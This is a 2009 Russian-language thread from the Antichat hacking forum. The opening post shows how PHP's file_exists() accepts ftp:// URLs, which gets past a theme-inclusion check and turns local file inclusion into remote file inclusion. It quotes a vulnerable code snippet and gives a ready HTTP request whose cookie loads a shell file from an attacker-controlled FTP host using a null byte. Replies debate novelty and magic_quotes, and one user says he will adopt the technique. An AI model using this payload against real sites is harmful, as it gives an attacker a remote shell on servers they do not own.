ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Небольшой очерк - file_exists
  #1  
Старый 05.01.2009, 16:13
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию Небольшой очерк - file_exists

На статью вряд ли потянет, ничего принципиально нового я не расскажу, но мб кому то пойдёт на пользу. Те кто занимаются сурсо копанием знают что эта функция очень часто портила всем RFI. Теперь портить не будет:) Итак, начнём.

http://us3.php.net/manual/en/function.file-exists.php
Цитата:
Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers.
http://us.php.net/manual/en/wrappers.ftp.php
Цитата:
As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. As of PHP 5.1.0: filemtime().
Для тех кто не понял, начиная с пхп 5 ф-я может работать с упаковщиками урл. Не только с ftp:// но так же и с php://memory, php://temp, ssh2.sftp://. Потом я просто подумал, зачем заморачиваться с последними тремя, если есть простой фтп. Теперь непного наглядности, каким же всё таки раком это нам поможет.
==>
PHP код:
<?php
echo file_exists("ftp://user:pwd@host/shell.txt");
?>
==>
Для примера такой сурс:
PHP код:
<?php
...

// theme definition by configuration or by cookie
$usertheme getparam("usertheme"PAR_COOKIESAN_FLAT);
if (
$usertheme!="" AND !stristr("..",$usertheme) AND file_exists("$usertheme/theme.php")) {
    
$theme $usertheme;
} else {
    
$theme "def";
}
include 
"$theme/theme.php";

...
?>
Тут бы и LFI не вышел, из за stristr, но теперь можно получить полноценный RFI.
==>
Код:
POST /script.php HTTP/1.0
Host: host
Cookie: usertheme=ftp://login:pwd@host/shell.txt%00
Connection: close
magic_quotes_gpc = Off
==>
Готовый шелл
-EOF-
__________________
..

Последний раз редактировалось .Slip; 24.04.2009 в 21:24..
 
Ответить с цитированием

  #2  
Старый 05.01.2009, 16:35
Аватар для brasco2k
brasco2k
Постоянный
Регистрация: 23.11.2007
Сообщений: 342
Провел на форуме:
1215706

Репутация: 310
По умолчанию

Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

P.S Также начиная с PHP 5.0 функция stat тоже поддерживает информацию о файлах на удаленных хостах.
 
Ответить с цитированием

  #3  
Старый 05.01.2009, 16:40
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

>> А используется функция в движках, наверное, для того, чтобы не возникли ошибки инклудов.

Ага, и !stristr("..",$usertheme) тоже от ошибок в инклудах.

>> Ниочем. Давно известно, что функция может использоваться в качестве проверки существования файла на удаленном компьютере.

...ничего принципиально нового я не расскажу...

Смысл переписывать мои слова?
__________________
..
 
Ответить с цитированием

  #4  
Старый 06.01.2009, 19:32
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

а мне понравилось, возьму на вооружение.
 
Ответить с цитированием

  #5  
Старый 16.02.2009, 21:54
Аватар для brain[pillow]
brain[pillow]
Участник форума
Регистрация: 07.11.2008
Сообщений: 124
Провел на форуме:
1483379

Репутация: 386
Отправить сообщение для brain[pillow] с помощью ICQ
По умолчанию

Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
 
Ответить с цитированием

  #6  
Старый 19.02.2009, 21:30
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

Цитата:
Сообщение от brain[pillow]  
Маленькая поправочка - в приведённом ТС примере кода волшебные ковычки не обязательно должны быть Off.
Это вырезка кода из движка, там отдельно обрабатывались массивы gpc. Квотесы бы порезали нуллбайт.
__________________
..
 
Ответить с цитированием

  #7  
Старый 09.04.2009, 21:56
Аватар для regnet
regnet
Участник форума
Регистрация: 12.03.2009
Сообщений: 244
Провел на форуме:
1849443

Репутация: 278
Отправить сообщение для regnet с помощью ICQ
По умолчанию

Спасибо для меня было познавательно!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Небольшой Faq по асе!! Zitt ICQ 9 13.02.2007 00:46
Небольшой обзор нового Ie7. KPOT_f!nd Soft - Windows 5 23.10.2006 16:12
Кеш браузеров. Небольшой трюк... Trinux PHP, PERL, MySQL, JavaScript 2 14.08.2006 21:01
30 лет по дороге мобилизации: исторический очерк novichok Сотовый фрикинг 2 08.01.2006 14:29
Небольшой вопросик... Ipb -SX- Форумы 6 17.10.2005 13:15



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ